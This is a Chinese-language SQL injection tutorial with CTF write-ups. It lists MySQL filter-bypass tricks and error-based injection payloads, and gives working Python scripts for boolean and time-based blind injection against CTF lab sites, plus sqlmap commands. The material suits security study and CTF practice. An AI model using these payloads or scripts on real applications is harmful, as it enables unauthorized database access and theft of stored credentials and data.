SQL 注入是 WEB 安全的头号大敌。

基本知识

一个 MYSQL 注入的基本知识网址:
https://websec.ca/kb/sql_injection#MySQL_Default_Databases

字符串拼接

以下均等价于 username='admin'
username='ad' 'm' 'in'
username=0x61646D696E
username=char(97,100,109,105,110)
username=concat('a','dm','in')
username=concat_ws('','adm','i','n')
username=group_concat('ad','mi','n')

  • concat() 函数用于将多个字符串连接成一个字符串。如有任何一个参数为 NULL,则返回值为 NULL。
  • concat_ws() 函数代表 Concat With Separator,是 concat() 的特殊形式。第一个参数是分隔符,如果分隔符为 NULL,则结果为 NULL。函数会忽略其他参数中的 NULL ,但不会忽略空字符串。
  • group_concat() 函数可以得到表达式结合体的连结值。例如 users 表下的 ID 字段有 0、1、2、3 、3 五个值,那么执行:select group_concat(distinct ID order by ID desc separator '_') from users; 会得到:3_2_1_0

绕过

符号都可以尝试 URL 编码绕过。

空格

  • 块注释 /**/
  • 子句隔着符号,可以省去空格。select'1'or'1'='1' 都是合法的。
  • 善用括号。select、 from、union 等需要子句的语句都可以将子句括起来从而省去括号。

单引号 ’

  • 假如编码为 GBK,尝试宽字节注入:%bf%27%df%27%aa%27

逗号 ,

  • substr(‘123’,1,1)mid(‘456’,1,1) 可换为 substr(‘123’ from 1 for 1)mid('456' from 1 for 1)
  • select * from users limit 2,1 等价于 select * from users limit 1 offset 2
  • select 1,2 等价于select * from(select 1)a join(select 2)b

等号 =

  • 不等号 <>
  • in
  • like、rlike、regexp

比较符 < >

  • greatest()、least() 返回最大、最小的数。

关键字

  • and && or ||
  • 双写关键字
  • 尝试关键字中嵌套可能被转义为空的字符

MYSQL中重要的两张表

获得当前数据库的所有表:

1
select group_concat(table_name) from information_schema.tables where table_schema=database()

获得一个表的所有字段:

1
select group_concat(column_name) from information_schema.columns where table_name=xxx

假如被过滤,但能得到表名,可以通过构建子表在不知道字段名的情况下查询:

1
select t.2 from(select 1,2,3 union select * from xxx)t limit 1,1

异或 ^ 注入

当 and or 被过滤时可以尝试异或注入。

在 MYSQL 中 where 子句判断时,如果判断一个字符型的字段等于 0,那么会产生警告并且该判断恒成立。

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from users where ID=1 or username=0;
+------+----------+-------------+
| ID | username | password |
+------+----------+-------------+
| 1 | root | root123456 |
| 2 | admin | admin123456 |
| 3 | John | john123456 |
| 4 | Alice | alice123456 |
| 5 | Harry | harry123456 |
+------+----------+-------------+
5 rows in set, 4 warnings (0.001 sec)

因此判断 where username=''^0^0 也恒成立。

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from users where username=''^0^0;
+------+----------+-------------+
| ID | username | password |
+------+----------+-------------+
| 1 | root | root123456 |
| 2 | admin | admin123456 |
| 3 | John | john123456 |
| 4 | Alice | alice123456 |
| 5 | Harry | harry123456 |
+------+----------+-------------+
5 rows in set, 6 warnings (0.001 sec)

基于报错型的注入

一些安全度不高的页面回显数据库产生的错误,因此可以构造特殊的语句来得到我们想要的信息。

floor()

貌似这函数在使用 group_concat() 下会正常,不会报错。因此可以用 limit 进行限制。

1
2
mysql> select count(*),concat(floor(rand(0)*2),0x7e,database(),0x7e)x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1~test~' for key 'group_key'

extractvalue()

1
2
mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~test~'

updatexml()

1
2
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~test~'

GeometryCollection() 系列

该系列的函数有:GeometryCollection()、multipoint()、multipolygon()、multilinestring()、linestring()、polygon() 等。

1
2
mysql> select geometrycollection((select * from(select * from(select user())a)b));
ERROR 4079 (HY000): Illegal non geometric '(select `b`.`user()` from (select 'web1@localhost' AS `user()` from dual) `b`)' value found during parsing

该系列函数报错注入在低版本 MYSQL 下有效,在高版本下直接报错:

1
ERROR 4079 (HY000): Illegal parameter data type varchar for operation 'geometrycollection'

exp(), pow(), cot()

exp(709) 以上、pow(2,1023) 以上、cot(0) 会导致溢出错误。
字符串参与运算会被当作 0 处理,将 0 按位取反将会得到 18446744073709551615,再进行运算导致溢出。

1
2
mysql> select pow(2,~(select * from(select database())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,~((select 'web1' from dual)))'

同样该系列函数报错注入在低版本 MYSQL 下有效,在高版本下直接报错不会执行:

1
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,~((select `a`.`database()` from (select database() AS `database()`) `a`)))'

例子

实验吧:简单的sql注入之3
http://ctf5.shiyanbar.com/web/index_3.php

典型的基于报错的注入,正常查询会输出 Hello,错误查询会报错。经过简单测试,floor()、 extractvalue()、updatexml() 函数被拉黑,注释符 # 被过滤,但 URL 编码后可用,注释符 – 可用。

这里使用异或注入并且 cot() 函数在 cot(0) 下会溢出报错来获得信息。注意 – 注释符最后有个空格,要么 URL 编码,要么空格后再随意加个字符,否则空格会被无视。

先获得数据库:

1
2
http://ctf5.shiyanbar.com/web/index_3.php?id='^cot((select*from(select(database()))a))-- -
DOUBLE value is out of range in 'cot((select 'web1' from dual))'

得到数据库 web1。再获得表名:

1
2
http://ctf5.shiyanbar.com/web/index_3.php?id='^cot((select*from(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))a))-- -
DOUBLE value is out of range in 'cot((select 'flag,web_1' from dual))'

再查数据库 flag 的字段名:

1
2
http://ctf5.shiyanbar.com/web/index_3.php?id='^cot((select*from(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))a))--%20
DOUBLE value is out of range in 'cot((select 'flag,id' from dual))'

最后直接得到数据:

1
2
http://ctf5.shiyanbar.com/web/index_3.php?id='^cot((select*from(select(flag)from(flag))a))--%20
DOUBLE value is out of range in 'cot((select 'flag{Y0u_@r3_5O_dAmn_90Od}' from dual))'

基于报错型的盲注

如果一个页面只显示语句执行成功与否,那么也可以利用一些函数运行时报错的特性结合 if 进行盲注。

exp(), pow(), cot()

同样利用 exp(709) 以上、pow(2,1023) 以上、cot(0) 会导致溢出错误来进行盲注。

1
2
3
4
5
6
7
8
9
mysql> select exp(709 + 117 - ascii('t'));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(((709 + 117) - ascii('t')))'
mysql> select exp(709 + 116 - ascii('t'));
+-----------------------------+
| exp(709 + 116 - ascii('t')) |
+-----------------------------+
| 8.218407461554972e307 |
+-----------------------------+
1 row in set (0.00 sec)

floor()

同样 floor() 函数也可以用于盲注。

1
2
3
4
5
6
7
8
9
mysql> select count(*),floor(rand(0)*2)x from information_schema.tables group by if(1,x,0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0)*2)x from information_schema.tables group by if(0,x,0);
+----------+---+
| count(*) | x |
+----------+---+
| 281 | 0 |
+----------+---+
1 row in set (0.01 sec)

ST系列函数

ST_X()、ST_GeomFromText()、ST_MPointFromText() 可以从文本中解析Spatial function 空间函数,也可以用于盲注。

1
2
3
4
5
6
7
8
9
mysql> SELECT IF(1, ST_X('123'), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_x.
mysql> SELECT IF(0, ST_X('123'), 0);
+-----------------------+
| IF(0, ST_X('123'), 0) |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (0.00 sec)

基于结果不为1的查询

1
2
3
4
5
6
7
8
9
mysql> select if(1,(select username from users),0);
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select if(0,(select username from users),0);
+--------------------------------------+
| if(0,(select username from users),0) |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.000 sec)

基于布尔型的盲注

基于布尔型的盲注,即在注入过程中,页面仅返回 True 和 False。这时无法根据返回页面得到需要的信息,但是可以通过构造逻辑判断来返回不同的页面从而得到需要的信息。

例子

JarvisOJ:Simple Injection:
http://web.jarvisoj.com:32787/login.php

先随意测试,发现户名错误或者数据库运行错误会显示用户名错误,输入用户名为 admin 时会显示密码错误。然后还过滤了空格,但这不是问题。

这里采用二分法盲注,速度会快很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import re

url = 'http://web.jarvisoj.com:32787/login.php'
data = {
'username' : '',
'password' : '1'
}

payload1 = "'or(ascii(substr(database(),{0},1))<{1})#"
payload2 = "'or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))<{1})#"
payload3 = "'or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{0},1))<{1})#"
payload4 = "'or(ascii(substr((select(group_concat(password))from(admin)),{0},1))<{1})#"

# print('database:') # injection
# print('tables:') # admin
# print('columns:') # id,username,password
# print('dump:') # 334cfb59c9d74849801d5acdcfdaadc3

for i in range(1, 100):
# 字符集ascii从32到126
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
data['username'] = payload3.format(i, mid)
r = requests.post(url, data=data)
r.encoding = 'utf-8'
if re.findall('用户名错误', r.text) != []:
low = mid + 1
elif re.findall('密码错误', r.text) != []:
high = mid - 1
else:
print('Error!')
print(r.text)
exit()
# 假如结果为 low-1,则已完成
if high == 31:
break
print(chr(high), end='')
print('\n')

基于时间型的盲注

基于时间型的盲注,即页面不显示任何是否执行成功的内容,但可以构造语句根据服务器响应时间的差异来判断是否语句执行成功。
其他类型的盲注其实都可以用基于时间的盲注实现。

常见的时间函数

  • sleep(5),代码执行延迟 5 秒。
  • benchmark(30000000, SHA1('123')),重复执行计算 SHA1 散列值三千万次,我的笔记本需要运行约 5s。
  • 构造超长字符串及正则匹配串。select rpad('a',500000,'a') rlike concat(repeat('(a.*)+',500),'b'); 我的笔记本需要运行约 5s。
  • heavy query。选择一些比较大的表做笛卡尔积运算,达到延时的目的。select count(*) from information_schema.tables A,information_schema.tables B,information_schema.columns C; 我这里产生 243199880 行,运行约 8s。

例子

bugku:成绩单
http://123.206.87.240:8002/chengjidan/index.php

这道题是可以简单注入的,但这里采用基于时间的盲注。

可以先测试时间延迟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import time
import requests

url = 'http://123.206.87.240:8002/chengjidan/index.php'
payload = "'or if(1,sleep(0.2),0)#"
data = {'id': payload}
sum = 0
for i in range(5):
t1 = time.time()
r = requests.post(url=url, data=data)
t2 = time.time()
print('[%d]: %f' % (i+1, t2-t1))
sum += (t2-t1)
print('AVG: %f' % (sum/5))

这里 sleep(0.2) 平均延迟 0.68s,正常情况下平均延迟 0.08s,区分度足够大了。
采用二分法盲注,速度会快非常多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url = 'http://123.206.87.240:8002/chengjidan/index.php'
data = {'id': ''}

payload1 = "'or if(((ascii(substr(database()from({0}))))<{1}),sleep(0.2),0)#"
payload2 = "'or if(((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database())from({0}))))<{1}),sleep(0.2),0)#"
payload3 = "'or if(((ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='fl4g')from({0}))))<{1}),sleep(0.2),0)#"
payload4 = "'or if((ascii(substr((select skctf_flag from fl4g)from({0})))<{1}),sleep(0.2),0)#"

# print('database:') # skctf_flag
# print('tables:') # fl4g,sc
# print('columns:') # skctf_flag
# print('dump:') # BUGKU{Sql_INJECT0N_4813drd8hz4}

for i in range(1, 100):
# 字符集ascii从32到126
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
data['id'] = payload4.format(i, mid)
t1 = time.time()
r = requests.post(url, data=data)
t2 = time.time()
if t2 - t1 < 0.2:
low = mid + 1
else:
high = mid - 1
# 假如结果为 low-1,则已完成
if high == 31:
break
print(chr(high), end='')
print('\n')

sqlmap

sqlmap 也是一大神器。有的题是直接可以用 sqlmap 跑出来的。
POST 型可以用 burpsuite 抓包 copy to file 然后 sqlmap -r res.txt。GET 型直接 sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1

  • 数据库:--dbs
  • 表:-D 库名 --tables
  • 字段:-D 库名 -T 表名 --columns
  • 值:-D 库名 -T 表名 -C 字段名 --dump